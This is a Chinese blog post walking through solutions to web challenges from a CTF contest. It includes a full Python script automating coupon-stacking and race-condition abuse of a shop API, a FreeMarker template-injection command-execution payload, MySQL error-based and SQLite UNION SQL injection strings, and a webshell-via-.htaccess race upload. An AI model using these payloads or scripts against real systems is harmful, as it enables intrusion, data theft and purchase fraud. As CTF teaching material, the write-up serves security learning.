春秋杯web1部分
本文最后更新于35 天前,其中的信息可能已经过时,如有错误请发送邮件到你太幼稚1919810@163.com

信息收集与资产暴露

该方向关注 Web 服务在对外暴露过程中产生的安全风险,包括服务指纹识别、版本信息泄露、源码或配置文件暴露等。题目强调从有限信息中还原系统结构并发现潜在攻击入口的能力。

HyperNode

题目内容:
目标系统是一个号称“零漏洞”的自研高性能区块链网关。管理员声称其内置防火墙能拦截所有路径探测。你的任务是探测其底层解析逻辑的缺陷,绕过防御读取服务器中的flag

有文件读取的功能直接目录遍历,但是直接../会被waf,对/进行url编码绕过

目录遍历绕过waf:可以尝试/的url编码绕过

Static_Secret

题目内容:
开发小哥为了追求高性能,用 Python 的 某个库 写了一个简单的静态文件服务器来托管项目文档。他说为了方便管理,开启了某个“好用”的功能。但我总觉得这个旧版本的框架不太安全…你能帮我看看,能不能读取到服务器根目录下的 /flag 文件?

提示访问该目录,但是里面什么都没有,目录扫描也没有,想起来题目中的提示静态文件服务器来托管项目文档。查了下资料,确实有目录遍历漏洞

CVE-2024-23334:# AIOHTTP 目录遍历漏洞

直接抓包就可以,网页上访问的话是不行的

Dev’s Regret

目录扫描发现git泄露,直接启动githacker

进入后查看记录,发现被删掉的flag

show查看或者reset恢复都可以

Session_Leak

进来后有个测试的账户

抓包修改第二个包,您已成功利用身份验证重定向流程中的会话密钥泄露漏洞

进来只是和普通用户没有什么区别,应该是有其他路径可以有权访问

访问/admin获得flag

访问控制与业务逻辑安全

该方向重点考察系统在身份鉴别、权限校验和业务流程设计中的安全问题,包括越权访问、认证绕过、跨域信任错误以及复杂业务逻辑漏洞。题目强调对“信任边界”和业务状态流转的理解。

My_Hidden_Profile

题目内容:某公司开发了一个用户个人中心系统,使用了看似复杂的UID来标识每个用户。你成功注册了一个普通账号,但听说管理员账号里藏有重要的秘密。你能通过分析UID的生成机制,成功访问管理员的个人中心并获取Flag吗?

根据提示抓包直接修改user_id值即可

CORS

**题目内容:**欢迎访问 HR 内部薪资自助查询系统。

抓包,解码session_token

Truths

题目内容:
欢迎来到我们全新的电商平台!我们实现了一套完善的订单管理系统,包含优惠券、支付和风控模块。
我们的安全团队确信系统是完全安全的。毕竟,我们有正确的状态管理…对吧?

注册后进去创建商品,使用优惠券后取消订单,然后再重新创建就会发现,之前优惠后的价格并没有改变,所以只要不停地取消重建就能购买最贵的商品

import requests
import time
import json
import threading
from typing import Optional, List, Dict
from concurrent.futures import ThreadPoolExecutor, as_completed

class CTFShopAdvancedExploit:
    def __init__(self, base_url: str):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.token = None
        self.username = f"hacker_{int(time.time())}"
        self.password = "password123"
        self.flags_found = []
        self.lock = threading.Lock()
    def log(self, message: str, level: str = "INFO"):
        """打印日志"""
        colors = {
            "INFO": "\033[94m",
            "SUCCESS": "\033[92m",
            "WARNING": "\033[93m",
            "ERROR": "\033[91m",
            "FLAG": "\033[95m\033[1m",  # 粗体紫色
            "CRITICAL": "\033[91m\033[1m"  # 粗体红色
        }
        reset = "\033[0m"
        color = colors.get(level, "")
        timestamp = time.strftime("%H:%M:%S")
        print(f"{color}[{timestamp}][{level}] {message}{reset}")
    def register(self) -> bool:
        """注册账户"""
        try:
            url = f"{self.base_url}/api/register"
            data = {"username": self.username, "password": self.password}
            resp = self.session.post(url, json=data, timeout=10)
            if resp.status_code == 200:
                self.log(f"注册成功: {self.username}", "SUCCESS")
                return True
            else:
                self.log(f"注册失败: {resp.text}", "WARNING")
                return False
        except Exception as e:
            self.log(f"注册异常: {e}", "ERROR")
            return False
    def login(self) -> bool:
        """登录账户"""
        try:
            url = f"{self.base_url}/api/login"
            data = {"username": self.username, "password": self.password}
            resp = self.session.post(url, json=data, timeout=10)
            if resp.status_code == 200:
                result = resp.json()
                self.token = result.get('token')
                self.log(f"登录成功", "SUCCESS")
                return True
            else:
                self.log(f"登录失败: {resp.text}", "ERROR")
                return False
        except Exception as e:
            self.log(f"登录异常: {e}", "ERROR")
            return False
    def get_headers(self) -> dict:
        """获取请求头"""
        return {
            "Authorization": f"Bearer {self.token}",
            "Content-Type": "application/json"
        }
    def get_user_info(self) -> Optional[dict]:
        """获取用户信息"""
        try:
            url = f"{self.base_url}/api/user/info"
            resp = self.session.get(url, headers=self.get_headers(), timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                balance = data.get('balance', 0)
                coupons = data.get('coupons', [])
                available_coupons = [c for c in coupons if c.get('status') == 'available']
                self.log(f"用户: {data.get('username')}, 余额: ¥{balance:,}, "
                        f"可用优惠券: {len(available_coupons)}/{len(coupons)}")
                return data
            else:
                self.log(f"获取用户信息失败: {resp.text}", "ERROR")
                return None
        except Exception as e:
            self.log(f"获取用户信息异常: {e}", "ERROR")
            return None
    def get_products(self) -> Optional[list]:
        """获取商品列表"""
        try:
            url = f"{self.base_url}/api/products?debug=1"
            resp = self.session.get(url, timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                products = data.get('products', [])
                self.log(f"获取到 {len(products)} 个商品", "SUCCESS")
                for p in products:
                    hidden = "【隐藏】" if not p.get('visible', True) else ""
                    self.log(f"  商品 ID:{p['id']} {hidden}{p['name']} ¥{p['price']:,}")
                return products
            else:
                self.log(f"获取商品失败: {resp.text}", "ERROR")
                return None
        except Exception as e:
            self.log(f"获取商品异常: {e}", "ERROR")
            return None
    def create_order(self, product_id: int) -> Optional[int]:
        """创建订单"""
        try:
            url = f"{self.base_url}/api/order/create"
            data = {"product_id": product_id}
            resp = self.session.post(url, json=data, headers=self.get_headers(), timeout=10)
            if resp.status_code == 200:
                result = resp.json()
                order_id = result.get('order_id')
                self.log(f"创建订单成功: #{order_id}", "SUCCESS")
                return order_id
            else:
                self.log(f"创建订单失败: {resp.text}", "ERROR")
                return None
        except Exception as e:
            self.log(f"创建订单异常: {e}", "ERROR")
            return None
    def get_order_detail(self, order_id: int, silent: bool = False) -> Optional[dict]:
        """获取订单详情"""
        try:
            url = f"{self.base_url}/api/order/{order_id}"
            resp = self.session.get(url, headers=self.get_headers(), timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                if not silent:
                    self.log(f"订单 #{order_id}: 状态={data.get('status')}, "
                            f"原价=¥{data.get('original_price'):,}, "
                            f"折扣=¥{data.get('discount_applied'):,}, "
                            f"应付=¥{data.get('total_price'):,}")
                if data.get('flag'):
                    flag = data.get('flag')
                    with self.lock:
                        if flag not in self.flags_found:
                            self.flags_found.append(flag)
                            self.log(f"🎉🎉🎉 发现FLAG: {flag} 🎉🎉🎉", "FLAG")
                return data
            else:
                if not silent:
                    self.log(f"获取订单详情失败: {resp.text}", "ERROR")
                return None
        except Exception as e:
            if not silent:
                self.log(f"获取订单详情异常: {e}", "ERROR")
            return None
    def apply_coupon(self, order_id: int, coupon_code: str, silent: bool = False) -> bool:
        """应用优惠券"""
        try:
            url = f"{self.base_url}/api/order/apply_coupon"
            data = {"order_id": order_id, "coupon": coupon_code}
            resp = self.session.post(url, json=data, headers=self.get_headers(), timeout=10)
            if resp.status_code == 200:
                result = resp.json()
                new_total = result.get('new_total')
                if not silent:
                    self.log(f"应用优惠券 {coupon_code} 成功 → ¥{new_total:,}", "SUCCESS")
                return True
            else:
                if not silent:
                    self.log(f"应用优惠券失败: {resp.text}", "WARNING")
                return False
        except Exception as e:
            if not silent:
                self.log(f"应用优惠券异常: {e}", "ERROR")
            return False
    def cancel_order(self, order_id: int, silent: bool = False) -> bool:
        """取消订单"""
        try:
            url = f"{self.base_url}/api/cancel"
            data = {"order_id": order_id}
            resp = self.session.post(url, json=data, headers=self.get_headers(), timeout=10)
            if resp.status_code == 200:
                if not silent:
                    self.log(f"取消订单 #{order_id} 成功", "SUCCESS")
                return True
            else:
                if not silent:
                    self.log(f"取消订单失败: {resp.text}", "WARNING")
                return False
        except Exception as e:
            if not silent:
                self.log(f"取消订单异常: {e}", "ERROR")
            return False
    def reactivate_order(self, order_id: int, silent: bool = False) -> bool:
        """重新激活订单"""
        try:
            url = f"{self.base_url}/api/order/reactivate"
            data = {"order_id": order_id}
            resp = self.session.post(url, json=data, headers=self.get_headers(), timeout=10)
            if resp.status_code == 200:
                result = resp.json()
                total = result.get('total_price')
                if not silent:
                    self.log(f"重新激活订单 #{order_id} → ¥{total:,}", "SUCCESS")
                return True
            else:
                if not silent:
                    self.log(f"重新激活失败: {resp.text}", "WARNING")
                return False
        except Exception as e:
            if not silent:
                self.log(f"重新激活异常: {e}", "ERROR")
            return False
    def pay_order(self, order_id: int) -> bool:
        """支付订单"""
        try:
            url = f"{self.base_url}/api/pay"
            data = {"order_id": order_id}
            resp = self.session.post(url, json=data, headers=self.get_headers(), timeout=10)
            if resp.status_code == 200:
                result = resp.json()
                self.log(f"💰 支付订单 #{order_id} 成功!", "SUCCESS")
                if result.get('flag'):
                    flag = result.get('flag')
                    with self.lock:
                        if flag not in self.flags_found:
                            self.flags_found.append(flag)
                            self.log(f"🎉🎉🎉 支付后获得FLAG: {flag} 🎉🎉🎉", "FLAG")
                return True
            else:
                self.log(f"支付失败: {resp.text}", "ERROR")
                return False
        except Exception as e:
            self.log(f"支付异常: {e}", "ERROR")
            return False
    def aggressive_price_reduction(self, order_id: int, target_price: float = 0,
                                   max_attempts: int = 2000) -> bool:
        """
        激进降价策略 - 专门用于购买88888等高价商品
        使用2000次循环尝试将价格降到目标价格
        """
        self.log(f"\n{'='*70}")
        self.log(f"开始激进降价攻击 - 目标: 将价格降至 ¥{target_price:,}")
        self.log(f"最大尝试次数: {max_attempts}")
        self.log(f"{'='*70}\n")
        # 可用优惠券列表
        coupons = ["VIP-50", "STACK-20"]
        best_price = float('inf')
        consecutive_failures = 0
        max_consecutive_failures = 50
        for attempt in range(1, max_attempts + 1):
            # 每100次显示进度
            if attempt % 100 == 0:
                self.log(f"进度: {attempt}/{max_attempts} ({attempt*100//max_attempts}%) - "
                        f"当前最低价: ¥{best_price:,}", "INFO")
            # 每10次详细显示
            silent = (attempt % 10 != 0)
            # 策略1: 多次应用优惠券
            for coupon in coupons:
                success = self.apply_coupon(order_id, coupon, silent=silent)
                if not success:
                    consecutive_failures += 1
                else:
                    consecutive_failures = 0
                time.sleep(0.05)
            # 检查当前价格
            order = self.get_order_detail(order_id, silent=silent)
            if not order:
                self.log(f"无法获取订单信息,尝试继续...", "WARNING")
                continue
            current_price = order.get('total_price', float('inf'))
            # 更新最低价格
            if current_price < best_price:
                best_price = current_price
                self.log(f"🎯 新低价!第 {attempt} 次尝试: ¥{current_price:,}", "SUCCESS")
                consecutive_failures = 0
            # 检查是否达到目标价格
            if current_price <= target_price:
                self.log(f"✅ 成功!价格已降至 ¥{current_price:,} (≤ ¥{target_price:,})", "SUCCESS")
                return True
            # 如果连续失败太多次,尝试重置
            if consecutive_failures >= max_consecutive_failures:
                self.log(f"连续失败 {consecutive_failures} 次,尝试重置订单状态...", "WARNING")
                if self.cancel_order(order_id, silent=True):
                    time.sleep(0.3)
                    if self.reactivate_order(order_id, silent=True):
                        consecutive_failures = 0
                        time.sleep(0.3)
                        continue
            # 策略2: 每隔一定次数取消并重新激活
            if attempt % 20 == 0:
                if not silent:
                    self.log(f"执行重置策略...", "INFO")
                if self.cancel_order(order_id, silent=True):
                    time.sleep(0.2)
                    if not self.reactivate_order(order_id, silent=True):
                        self.log(f"重新激活失败,可能无法继续", "ERROR")
                        break
                    time.sleep(0.2)
        self.log(f"\n达到最大尝试次数 {max_attempts}", "WARNING")
        self.log(f"最终价格: ¥{best_price:,}", "INFO")
        return best_price <= target_price
    def buy_expensive_product(self, product_id: int, max_attempts: int = 2000) -> bool:
        """
        购买高价商品(如88888)的完整流程
        """
        self.log(f"\n{'#'*70}")
        self.log(f"开始购买商品 ID={product_id}")
        self.log(f"{'#'*70}\n")
        # 1. 获取用户信息
        user_info = self.get_user_info()
        if not user_info:
            return False
        balance = user_info.get('balance', 0)
        self.log(f"当前余额: ¥{balance:,}")
        # 2. 创建订单
        order_id = self.create_order(product_id)
        if not order_id:
            return False
        # 3. 获取初始订单信息
        order = self.get_order_detail(order_id)
        if not order:
            return False
        original_price = order.get('original_price', 0)
        self.log(f"商品原价: ¥{original_price:,}")
        # 4. 如果余额足够,直接支付
        if balance >= original_price:
            self.log(f"余额充足,直接支付!", "SUCCESS")
            return self.pay_order(order_id)
        # 5. 余额不足,需要降价
        needed_discount = original_price - balance
        self.log(f"需要降价: ¥{needed_discount:,}", "CRITICAL")
        # 6. 执行激进降价策略
        target_price = max(0, balance - 100)  # 留一点余量
        success = self.aggressive_price_reduction(order_id, target_price, max_attempts)
        if not success:
            self.log(f"降价失败,尝试其他策略...", "WARNING")
            # 尝试并发攻击
            self.concurrent_coupon_attack(order_id)
        # 7. 检查最终价格
        final_order = self.get_order_detail(order_id)
        if not final_order:
            return False
        final_price = final_order.get('total_price', float('inf'))
        # 8. 尝试支付
        if final_price <= balance:
            self.log(f"价格已降至 ¥{final_price:,},开始支付!", "SUCCESS")
            return self.pay_order(order_id)
        elif final_price <= 0:
            self.log(f"价格为 ¥{final_price:,},尝试支付...", "SUCCESS")
            return self.pay_order(order_id)
        else:
            self.log(f"最终价格 ¥{final_price:,} 仍高于余额 ¥{balance:,}", "ERROR")
            self.log(f"尝试强制支付...", "WARNING")
            return self.pay_order(order_id)
    def concurrent_coupon_attack(self, order_id: int, threads_count: int = 10):
        """
        并发优惠券攻击
        """
        self.log(f"\n启动并发攻击 - {threads_count} 线程", "WARNING")
        def apply_coupons_rapidly(coupon: str, count: int):
            for _ in range(count):
                self.apply_coupon(order_id, coupon, silent=True)
                time.sleep(0.01)
        with ThreadPoolExecutor(max_workers=threads_count) as executor:
            futures = []
            for _ in range(threads_count // 2):
                futures.append(executor.submit(apply_coupons_rapidly, "VIP-50", 10))
                futures.append(executor.submit(apply_coupons_rapidly, "STACK-20", 10))
            for future in as_completed(futures):
                try:
                    future.result()
                except Exception as e:
                    self.log(f"并发攻击异常: {e}", "ERROR")
        time.sleep(0.5)
        self.get_order_detail(order_id)
    def display_flags(self):
        """显示所有找到的flags"""
        print("\n" + "="*70)
        if self.flags_found:
            self.log(f"🎉 成功获得 {len(self.flags_found)} 个FLAG! 🎉", "FLAG")
            print("="*70)
            for i, flag in enumerate(self.flags_found, 1):
                print(f"\033[95m\033[1m  FLAG[{i}]: {flag}\033[0m")
            print("="*70)
        else:
            self.log("❌ 未找到任何FLAG", "ERROR")
            print("="*70)
    def run_buy_88888(self):
        """
        专门购买88888商品的自动化脚本
        """
        self.log("\n" + "="*70)
        self.log("🎯 CTF Shop - 购买88888商品专用脚本 🎯")
        self.log("="*70 + "\n")
        # 1. 注册并登录
        self.log("步骤 1/5: 注册账户", "INFO")
        if not self.register():
            self.log("注册失败,尝试登录已有账户", "WARNING")
            if not self.login():
                self.log("登录失败,程序退出", "ERROR")
                return False
        else:
            self.log("步骤 2/5: 登录账户", "INFO")
            if not self.login():
                self.log("登录失败,程序退出", "ERROR")
                return False
        # 2. 查看初始状态
        self.log("\n步骤 3/5: 获取账户和商品信息", "INFO")
        self.get_user_info()
        products = self.get_products()
        if not products:
            self.log("无法获取商品列表", "ERROR")
            return False
        # 3. 查找目标商品
        self.log("\n步骤 4/5: 查找目标商品", "INFO")
        target_product = None
        # 首先尝试找88888价格的商品
        for p in products:
            if p.get('price') == 88888:
                target_product = p
                break
        # 如果没找到88888,找最贵的
        if not target_product:
            target_product = max(products, key=lambda x: x.get('price', 0))
            self.log(f"未找到88888商品,将购买最贵商品", "WARNING")
        self.log(f"目标商品: ID={target_product['id']}, "
                f"名称={target_product['name']}, "
                f"价格=¥{target_product['price']:,}", "CRITICAL")
        # 4. 执行购买
        self.log(f"\n步骤 5/5: 开始购买流程", "INFO")
        success = self.buy_expensive_product(target_product['id'], max_attempts=2000)
        # 5. 显示结果
        self.log("\n" + "="*70)
        if success:
            self.log("✅ 购买成功!", "SUCCESS")
        else:
            self.log("⚠️  购买过程完成,请检查结果", "WARNING")
        self.log("\n最终账户状态:", "INFO")
        self.get_user_info()
        # 6. 显示flags
        self.display_flags()
        return success

def main():
    import sys
    print("""
╔══════════════════════════════════════════════════════════════════╗

║                                                                  ║

║         CTF Shop - 88888商品自动购买脚本 v2.0                    ║

║                                                                  ║

║         特性:                                                    ║

║         • 2000次降价循环攻击                                    ║

║         • 智能优惠券叠加                                        ║

║         • 并发竞态攻击                                          ║

║         • 自动获取FLAG                                          ║

║                                                                  ║

╚══════════════════════════════════════════════════════════════════╝
    """)
    # 获取目标URL
    if len(sys.argv) > 1:
        API_BASE_URL = sys.argv[1]
    else:
        API_BASE_URL = input("请输入目标URL (例如: http://ctf-server:8000): ").strip()
        if not API_BASE_URL:
            print("❌ URL不能为空")
            return
    print(f"\n🎯 目标: {API_BASE_URL}\n")
    # 创建攻击实例
    exploit = CTFShopAdvancedExploit(API_BASE_URL)
    # 执行购买
    exploit.run_buy_88888()

if __name__ == "__main__":
    main()

Just_Web

题目内容:
访问一个内部管理后台时,发现该系统在处理用户资源同步时似乎有些“过于信任”用户的输入。虽然系统声称开启了各种安全策略,但大佬告诉她,有些防御可能只是看起来很美。你能通过这个后台获取系统根目录下的 flag 吗?

弱密码admin/admin123

到模板类型和模板加载的位置,并且prifile路由下可以上传文件,最重要的是,文件路径以及名称是可以自定义的,那么,只要在图片中嵌入恶意模板,并命名为prifile.ftl文件,就能覆盖原有的prifile.ftl
文件,从而再访问prifile路由时,就能获取到rce的结果

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("cat /flag")}

注入类漏洞

该方向聚焦于用户输入被错误解析或执行所引发的安全问题,包括 SQL 注入、NoSQL 注入等。题目通常要求选手理解底层查询或解析机制,并通过构造特定输入实现逻辑绕过或信息获取。

EZSQL

题目内容:这是一个号称“绝对安全”的企业数据金库,采用了最新的黑客风格 UI 设计。界面上空空如也,只有一行“RESTRICTED ACCESS”的警告。作为一个经验丰富的渗透测试人员,你需要:

  1. 找到隐藏的交互入口。
  2. 绕过那个“极其敏感”的防火墙。
  3. 听懂数据库痛苦的咆哮(报错),拿到最终的 Flag。

测试发现过滤空格,–,%,and,直接用#闭合还是报错,经过测试最后发现1'||'1'='1的逻辑可以绕过

结合提示,可以用报错注入

目录扫描发现有sql文件,可以下载

CREATE DATABASE IF NOT EXISTS ctf;
USE ctf;
CREATE TABLE IF NOT EXISTS `flag` (`flag` varchar(255) NOT NULL);
INSERT INTO `flag` VALUES ('flag{static_flag_for_test}');
CREATE TABLE IF NOT EXISTS `goods` (`id` int(11) NOT NULL, `name` varchar(255) NOT NULL, `price` int(11) NOT NULL, PRIMARY KEY (`id`));
INSERT INTO `goods` VALUES (1, 'Cyber-Deck v3.0', 5000);
INSERT INTO `goods` VALUES (2, 'Quantum Processor', 9999);
INSERT INTO `goods` VALUES (3, 'Stealth Camo', 300);
  
CREATE USER 'ctf_user'@'localhost' IDENTIFIED BY 'ctf_pass_secure';
GRANT SELECT, INSERT, UPDATE ON ctf.* TO 'ctf_user'@'localhost';
FLUSH PRIVILEGES;

可以看到flag就在ctf库中的flag表中,所以这题就不用暴库爆表

?id=1'||updatexml(1,concat(0x7e,(select(flag)from(flag))),1)||'1'='1

但是看到长度不完整,使用sbustr或者substring指定长度输出即可

?id=1'||updatexml(1,concat(0x7e,substr((select(flag)from(flag)),25,40)),1)||'1'='1

NoSQL_Login

题目内容: 某公司开发了一个新的用户登录系统,使用了流行的NoSQL数据库MongoDB。但由于开发人员对安全性认识不足,直接将用户输入传递到数据库查询中。你能找到绕过登录验证的方法吗?

出胡了,admin用户直接登录,不用密码拿到flag

Theme_Park

有个admin路由但是没有权限

有注入点,尝试union注入发现老是报错,猜测可能是sqlite注入,检测一下确实如此

?q=-0'+UNION+SELECT+1,sqlite_version()--

确认是sqlite后,直接从sqlite_master系统表入手

q=-0'+union+select+1,(select+group_concat(name)+from+sqlite_master)

首先查name字段,看到这些表名

接着查看sql字段,找到写入项目的sql语句

q=-0'+union+select+1,(select+group_concat(sql)+from+sqlite_master)--

CREATE TABLE plugins (id INTEGER PRIMARY KEY, name TEXT, version TEXT),CREATE TABLE config (key TEXT PRIMARY KEY, value TEXT)

查到config表中的key(secret_key)对应的value值,猜测是用来访问admin路由用的,我们可以利用密钥进行session伪造,使用flask-unsign工具,进去后直接任意文件读取

文件与配置安全

该方向关注 Web 应用对文件和配置的处理安全,包括文件读取、上传控制、配置解析规则以及时间竞争问题。题目往往结合部署环境,考察选手对文件系统与 Web 服务交互的理解。

Easy_upload

题目内容:
欢迎来到 CloudSync 企业版配置中心。
这里是 DevOps 团队用来管理静态资源(Logo、Banner)和测试临时服务器配置的地方。
为了安全起见,所有上传的配置文件 (.config) 都会在 500ms 后自动销毁。
听说这里存放着系统的核心密钥,你能找到它吗?

有两个传文件的点,一个是永久保存,一个是上传后短时间保留后销毁。注意到还有个不太明显的链接,点击后可以查看传逻辑

<?php
$UPLOAD_DIR = "uploads/";
if (!is_dir($UPLOAD_DIR)) mkdir($UPLOAD_DIR);

// 模块 1: 静态资源 (只允许 JPG)
if (isset($_POST['upload_res'])) {
    $target = $UPLOAD_DIR . basename($_FILES["file"]["name"]);
    $ext = strtolower(pathinfo($target, PATHINFO_EXTENSION));
    
    if ($ext !== 'jpg') {
        die_msg("Error", "Only .jpg files are allowed.");
    }
    
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target)) {
        die_msg("Success", "Asset deployed at: <a href='$target' target='_blank'>$target</a>");
    }
}

// 模块 2: 配置沙箱 (只允许 .config -> 存为 .htaccess -> 竞争删除)
if (isset($_POST['upload_conf'])) {
    $target = $UPLOAD_DIR . ".htaccess"; 
    $ext = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));
    
    if ($ext !== 'config') {
        die_msg("Error", "Only .config files are allowed.");
    }

    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target)) {
        // 漏洞窗口期: 0.5秒
        usleep(500000); 
        @unlink($target); // 删除
        die_msg("Success", "Configuration valid. File purged.");
    }
}

function die_msg($title, $msg) {
    echo "<!DOCTYPE html><html><head><link rel='stylesheet' href='style.css'></head><body><div class='container'><div class='card'><div class='card-header'>$title</div><div class='card-body'><p>$msg</p><a href='index.php' style='text-decoration:none; color:#0056b3;'>&larr; Back</a></div></div></div></body></html>";
    exit;
}
?>

可以看到,虽然我们配置文件只能上传.config,但是该文件上传后被重命名为.htaccess,所以可以利用这个性质,在图片里里面嵌入一句话木马getshell

pb爆破,不断地发包上传

访问上传的图片,刷新几次即可

题目内容:
某科技公司部署了一套 Python 编写的数据处理接口,开发人员声称该系统经过了严格的安全加固:

  1. 没有任何直接的文件上传入口。
  2. 应用运行在低权限账户下。
  3. 敏感数据(Flag)存储在 Root 权限才能访问的文件中。


未完待续
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇